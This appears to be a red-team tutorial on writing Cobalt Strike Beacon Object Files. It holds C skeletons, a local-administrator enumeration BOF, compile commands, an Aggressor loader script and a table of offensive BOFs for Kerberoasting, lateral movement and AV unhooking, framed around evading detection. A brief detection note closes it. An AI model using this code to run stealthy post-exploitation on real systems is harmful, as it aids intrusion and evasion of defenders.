Beacon Object File (BOF) Development
Overview
A Beacon Object File (BOF) is a position-independent COFF object file that the Cobalt Strike (or compatible) beacon loads, relocates, and executes in-process. The key operational advantage is that BOFs run without spawning a child process — everything executes inside the already-running beacon, which means no new process creation events (Sysmon EID 1), no CreateRemoteThread, and no fork-and-run noise.
BOFs are compiled with standard C compilers but linked as object files (not executables). The beacon acts as a custom loader: it allocates memory, maps COFF sections, applies relocations, resolves any external DLL symbols using the beacon’s internal BeaconGetDLL / FUNC_DEF macros, and calls the go() entry point.
BOFs have become the de-facto standard for extending C2 capability without detection surface: almost every modern offensive capability (token theft, LDAP queries, process injection, credential access) has a BOF implementation.
BOFs are intentionally minimal — no CRT, no standard library, no exceptions. Every function
call must go through a dynamic resolution macro (BEACON_GETDLL_FUNC) so the beacon can
resolve the address at runtime. This means printf does not work; use BeaconPrintf instead.
Stack allocations work normally; heap allocations require explicit VirtualAlloc or
HeapAlloc since there is no malloc.
The call chain
- 1compile C code as a COFF object fileThe BOF is a standard Windows COFF (.obj) file compiled without linking. No entry point, no imports, no standard library.
- 2beacon loads and relocates the COFF in-processThe C2 agent allocates RWX memory, copies the COFF sections, applies relocations, and resolves external symbols via the beacon API.
- 3beacon calls go() entry pointThe beacon executes go(char *args, int len) — the BOF receives its arguments as a packed buffer and runs inside the beacon's process.
- 4BOF calls beacon APIs for outputUse BeaconPrintf / BeaconOutput to send results back to the operator. All WinAPI calls go through BEACON_GETDLL_FUNC macros.
- 5beacon frees BOF memory after returnWhen go() returns, the beacon frees the COFF memory. No persistent thread, no new process.
Reference implementation
Minimal BOF skeleton
#include <windows.h>
#include "beacon.h" // Cobalt Strike BOF headers (from CS SDK)
// Dynamic import macro — resolves a function from a DLL at runtime
// Usage: GETPROCADDRESS(kernel32, GetCurrentProcessId)
// declares: GETPROCADDRESS_T kernel32$GetCurrentProcessId
// WinAPI calls from a BOF must go through the BEACON_GETDLL_FUNC macros
// so the beacon can resolve them. Direct imports would break COFF relocation.
// Declare the functions we'll use (beacon convention: DllName$FunctionName)
DECLSPEC_IMPORT DWORD WINAPI kernel32$GetCurrentProcessId(void);
DECLSPEC_IMPORT HANDLE WINAPI kernel32$GetCurrentProcess(void);
DECLSPEC_IMPORT BOOL WINAPI kernel32$CloseHandle(HANDLE);
// The beacon unpacks arguments with the bof_pack helpers
// datap is a packed argument buffer; use BeaconDataExtract / BeaconDataInt etc.
// Entry point: the beacon calls go(args, len)
void go(char *args, int len) {
// Parse arguments
datap parser;
BeaconDataParse(&parser, args, len);
// Example: read a string argument
char *target_name = BeaconDataExtract(&parser, NULL);
// Call WinAPI through the beacon's resolver
DWORD pid = kernel32$GetCurrentProcessId();
// Send output back to the operator console
BeaconPrintf(CALLBACK_OUTPUT,
"[BOF] Running in PID %lu\n", pid);
if (target_name && *target_name) {
BeaconPrintf(CALLBACK_OUTPUT,
"[BOF] Target: %s\n", target_name);
}
BeaconPrintf(CALLBACK_OUTPUT, "[BOF] Complete\n");
}#include <windows.h>
#include "beacon.h" // Cobalt Strike BOF headers (from CS SDK)
// Dynamic import macro — resolves a function from a DLL at runtime
// Usage: GETPROCADDRESS(kernel32, GetCurrentProcessId)
// declares: GETPROCADDRESS_T kernel32$GetCurrentProcessId
// WinAPI calls from a BOF must go through the BEACON_GETDLL_FUNC macros
// so the beacon can resolve them. Direct imports would break COFF relocation.
// Declare the functions we'll use (beacon convention: DllName$FunctionName)
DECLSPEC_IMPORT DWORD WINAPI kernel32$GetCurrentProcessId(void);
DECLSPEC_IMPORT HANDLE WINAPI kernel32$GetCurrentProcess(void);
DECLSPEC_IMPORT BOOL WINAPI kernel32$CloseHandle(HANDLE);
// The beacon unpacks arguments with the bof_pack helpers
// datap is a packed argument buffer; use BeaconDataExtract / BeaconDataInt etc.
// Entry point: the beacon calls go(args, len)
void go(char *args, int len) {
// Parse arguments
datap parser;
BeaconDataParse(&parser, args, len);
// Example: read a string argument
char *target_name = BeaconDataExtract(&parser, NULL);
// Call WinAPI through the beacon's resolver
DWORD pid = kernel32$GetCurrentProcessId();
// Send output back to the operator console
BeaconPrintf(CALLBACK_OUTPUT,
"[BOF] Running in PID %lu\n", pid);
if (target_name && *target_name) {
BeaconPrintf(CALLBACK_OUTPUT,
"[BOF] Target: %s\n", target_name);
}
BeaconPrintf(CALLBACK_OUTPUT, "[BOF] Complete\n");
}BOF that queries local admins (real-world example pattern)
#include <windows.h>
#include <lm.h>
#include "beacon.h"
// NetLocalGroupGetMembers - resolves at runtime through beacon
DECLSPEC_IMPORT NET_API_STATUS WINAPI netapi32$NetLocalGroupGetMembers(
LPCWSTR servername, LPCWSTR localgroupname, DWORD level,
LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread,
LPDWORD totalentries, PDWORD_PTR resumehandle);
DECLSPEC_IMPORT NET_API_STATUS WINAPI netapi32$NetApiBufferFree(LPVOID Buffer);
void go(char *args, int len) {
LOCALGROUP_MEMBERS_INFO_3 *members = NULL;
DWORD entries_read = 0, total_entries = 0;
DWORD_PTR resume = 0;
NET_API_STATUS status = netapi32$NetLocalGroupGetMembers(
NULL, // local computer
L"Administrators",
3, // level 3 = domainandname
(LPBYTE*)&members,
MAX_PREFERRED_LENGTH,
&entries_read, &total_entries, &resume);
if (status != NERR_Success) {
BeaconPrintf(CALLBACK_ERROR,
"NetLocalGroupGetMembers failed: %lu\n", status);
return;
}
BeaconPrintf(CALLBACK_OUTPUT,
"[*] Local Administrators (%lu entries):\n", total_entries);
for (DWORD i = 0; i < entries_read; i++) {
// Convert wchar to char for BeaconPrintf
char name[256];
WideCharToMultiByte(CP_UTF8, 0,
members[i].lgrmi3_domainandname, -1,
name, sizeof name, NULL, NULL);
BeaconPrintf(CALLBACK_OUTPUT, " %s\n", name);
}
netapi32$NetApiBufferFree(members);
}#include <windows.h>
#include <lm.h>
#include "beacon.h"
// NetLocalGroupGetMembers - resolves at runtime through beacon
DECLSPEC_IMPORT NET_API_STATUS WINAPI netapi32$NetLocalGroupGetMembers(
LPCWSTR servername, LPCWSTR localgroupname, DWORD level,
LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread,
LPDWORD totalentries, PDWORD_PTR resumehandle);
DECLSPEC_IMPORT NET_API_STATUS WINAPI netapi32$NetApiBufferFree(LPVOID Buffer);
void go(char *args, int len) {
LOCALGROUP_MEMBERS_INFO_3 *members = NULL;
DWORD entries_read = 0, total_entries = 0;
DWORD_PTR resume = 0;
NET_API_STATUS status = netapi32$NetLocalGroupGetMembers(
NULL, // local computer
L"Administrators",
3, // level 3 = domainandname
(LPBYTE*)&members,
MAX_PREFERRED_LENGTH,
&entries_read, &total_entries, &resume);
if (status != NERR_Success) {
BeaconPrintf(CALLBACK_ERROR,
"NetLocalGroupGetMembers failed: %lu\n", status);
return;
}
BeaconPrintf(CALLBACK_OUTPUT,
"[*] Local Administrators (%lu entries):\n", total_entries);
for (DWORD i = 0; i < entries_read; i++) {
// Convert wchar to char for BeaconPrintf
char name[256];
WideCharToMultiByte(CP_UTF8, 0,
members[i].lgrmi3_domainandname, -1,
name, sizeof name, NULL, NULL);
BeaconPrintf(CALLBACK_OUTPUT, " %s\n", name);
}
netapi32$NetApiBufferFree(members);
}Compile and load the BOF
# Compile as a COFF object (no link step) # MinGW cross-compiler from Linux: x86_64-w64-mingw32-gcc -c bof_skeleton.c -o bof_skeleton.x64.o -masm=intel -Wall -I ./include # path to beacon.h # Verify: should show COFF header, not PE file bof_skeleton.x64.o # Output: bof_skeleton.x64.o: MS Windows COFF x86-64 object file # Alternative: MSVC (from a Windows dev environment) # cl /c bof_skeleton.c /GS- /Fo:bof_skeleton.x64.obj /I include # Load in Cobalt Strike (aggressor script or inline-execute): # beacon> inline-execute /path/to/bof_skeleton.x64.o arg1 arg2 # Compile for x86 too: i686-w64-mingw32-gcc -c bof_skeleton.c -o bof_skeleton.x86.o -masm=intel
# Compile as a COFF object (no link step)
# MinGW cross-compiler from Linux:
x86_64-w64-mingw32-gcc -c bof_skeleton.c -o bof_skeleton.x64.o -masm=intel -Wall -I ./include # path to beacon.h
# Verify: should show COFF header, not PE
file bof_skeleton.x64.o
# Output: bof_skeleton.x64.o: MS Windows COFF x86-64 object file
# Alternative: MSVC (from a Windows dev environment)
# cl /c bof_skeleton.c /GS- /Fo:bof_skeleton.x64.obj /I include
# Load in Cobalt Strike (aggressor script or inline-execute):
# beacon> inline-execute /path/to/bof_skeleton.x64.o arg1 arg2
# Compile for x86 too:
i686-w64-mingw32-gcc -c bof_skeleton.c -o bof_skeleton.x86.o -masm=intelAggressor script to deploy a BOF
# Cobalt Strike aggressor script to register and call a BOF
# Place in scripts/ directory and load in CS script manager
alias local-admins {
# $1 = beacon handle
local('$handle $bof $args');
$handle = $1;
# Read the BOF file
$bof = openf(script_resource("local_admins_bof.x64.o"));
$bof = readb($bof, -1);
closef($bof);
# Pack arguments (empty in this case)
$args = bof_pack("z", ""); # z = null-terminated string
# Execute the BOF in the beacon
beacon_inline_execute($handle, $bof, "go", $args);
blog($handle, "[*] local-admins BOF launched");
}
# Register the alias so it shows up in the beacon console
beacon_command_register("local-admins",
"List local administrator group members via BOF",
"Usage: local-admins\nLists members of the local Administrators group.");# Cobalt Strike aggressor script to register and call a BOF
# Place in scripts/ directory and load in CS script manager
alias local-admins {
# $1 = beacon handle
local('$handle $bof $args');
$handle = $1;
# Read the BOF file
$bof = openf(script_resource("local_admins_bof.x64.o"));
$bof = readb($bof, -1);
closef($bof);
# Pack arguments (empty in this case)
$args = bof_pack("z", ""); # z = null-terminated string
# Execute the BOF in the beacon
beacon_inline_execute($handle, $bof, "go", $args);
blog($handle, "[*] local-admins BOF launched");
}
# Register the alias so it shows up in the beacon console
beacon_command_register("local-admins",
"List local administrator group members via BOF",
"Usage: local-admins\nLists members of the local Administrators group.");BOF anatomy
| Component | Description |
|---|---|
COFF .text section |
Position-independent code; beacon applies relocations |
No .idata (import) section |
All WinAPI calls resolved via DECLSPEC_IMPORT + beacon runtime |
go(char *args, int len) |
Required entry point; beacon calls this with packed args |
beacon.h |
Cobalt Strike SDK header defining BeaconPrintf, datap, etc. |
| Packed arguments | bof_pack in aggressor script → BeaconDataExtract in BOF |
| CALLBACK_OUTPUT | Console output channel; also CALLBACK_ERROR, CALLBACK_PENDING |
Common BOF capabilities
| Category | BOF | Description |
|---|---|---|
| Recon | SA-whoami |
Token, privileges, integrity level |
| Recon | SA-nslookup |
DNS resolution in-process |
| Recon | ldapsearch |
LDAP queries without spawning dsquery |
| Priv Esc | ElevateKit |
Named pipe token impersonation |
| Lateral | jump wmi-bof |
WMI lateral movement without new process |
| Creds | Kerberoast-BOF |
In-process Kerberoasting |
| AV Bypass | unhook-bof |
NTDLL unhooking in-process |
Detection
The primary detection challenge for BOFs is that they leave minimal forensic traces: no child process, no file on disk, typically no persistent thread. The most effective detection is a kernel-level hook that fires on every VirtualAlloc(MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_*) call and then tracks whether the allocated region contains COFF-like content before it is freed.